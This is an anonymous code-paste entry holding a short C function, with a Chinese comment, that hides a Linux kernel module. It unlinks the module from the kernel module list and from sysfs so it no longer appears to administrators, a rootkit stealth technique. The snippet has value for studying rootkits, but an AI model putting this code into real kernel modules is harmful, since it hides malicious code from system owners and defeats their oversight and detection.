Demo entry 6678291

隐藏模块

   

Submitted by anonymous on Dec 05, 2017 at 17:34
Language: C++. Code size: 485 Bytes.

void module_hide(void)
{
    if (module_hidden) 
    {
        return;
    }
    /*
    从struct module结构体可以看出,在内核态,我们如果要枚举当前模块列表,可以使用list、kobj这两个成员域进行枚举
    自然在断链隐藏的时候也需要对这两个成员进行操作
    */
    module_previous = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    
    module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
    kobject_del(&THIS_MODULE->mkobj.kobj);
    
    list_del(&THIS_MODULE->mkobj.kobj.entry);
    module_hidden = !module_hidden;
}

This snippet took 0.00 seconds to highlight.

Back to the Entry List or Home.

Delete this entry (admin only).